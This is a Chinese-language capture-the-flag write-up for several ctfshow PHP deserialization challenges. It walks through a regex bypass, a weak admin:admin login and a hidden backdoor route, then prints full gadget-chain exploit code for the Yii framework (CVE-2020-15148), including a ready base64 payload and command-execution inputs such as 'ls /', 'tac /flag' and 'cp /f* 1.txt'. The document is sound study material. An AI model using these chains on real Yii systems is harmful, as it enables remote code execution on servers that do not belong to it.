  • $cs = file_get_contents(‘php://input’); 此处利用了 伪协议,所以我们可以post提交数据。
  • 然后看 class 中 flag 在 destruct() 销毁的时候调用。其它三个函数调用不调用,正确,错误,在这道题中都不影响结果,唯有 destruct() 才影响结果。因此可以写一个空的class。
  • 下面的 if 语句 正则对 ‘ctfshow’ 进行了匹配,有则抛出异常 destruct()将提前终止。因此我们不能让它有异常。将 ctfshow 其中一个字符改为 大写,ex: Ctfshow or cTfshow …… 就能绕过。

payload.php

1
2
3
4
5
6
<?php
class ctfshow{

}
$a = new ctfshow();
echo serialize($a);
  • 结果:

1
2
O:7:"ctfshow":0:{} //echo 结果.
O:7:"cTfshow":0:{} //大写绕过正则。(破坏正确序列化结果。)
  • 将序列化结果 post 提交。在chrome浏览器Hack Bar插件中post 提交没反应。那就抓包提交(bp 大法好啊!)。

web267

网页:

题目变得贴近真实环境了。

信息搜集与利用

  • Wappalyzer 插件可以看到这个网页由php Yii框架编写:
  • 弱口令 admin:admin 登陆成功。

  • 在 about 页面 右键查看源代码发现提示: ?view-source

  • 看到 ?xxx 组成的内容很容易联想到 get 传参。所以我们来看看 页面的 url构成:
  • url:
1
/index.php?r=site%2Fabout // %2F urldecode: '/'
  • 构造 url ,得到:
1
/?r=site%2Fabout&view-source

  • 如图所示得到了 反序列化的入口了。
1
/?r=backdoor/shell&code=
  • 问题来了 code等于啥呢?
  • 百度一下 yii 反序列化漏洞,得到了一个链子,并且有 CVE-2020-15148;
  • 直接拿来利用。

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo'; // 可控参数
$this->id = '1'; // 可控参数
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
  • 此时可控参数为显示 phpinfo 验证一下。
1
/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

  • 如图所示成功显示了 phpinfo(),接下来 尝试显示当前目录或者根目录文件
  • 将 poc.php 中设置可控参数 $this->checkAccess = ‘passthru’; (注意 system此处不可用,用 passthru可代替)
  • 设置 $this->id = ‘ls /‘;

  • 如图所示 发现根目录有 flag
  • 设置 $this->id = ‘tac /flag’;

  • 如图所示成功拿到 flag。

web268

在上一题的基础上,需要对 exp 进行更改,参考了其它师傅的链子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}

web269

同 web268

web270

同 web268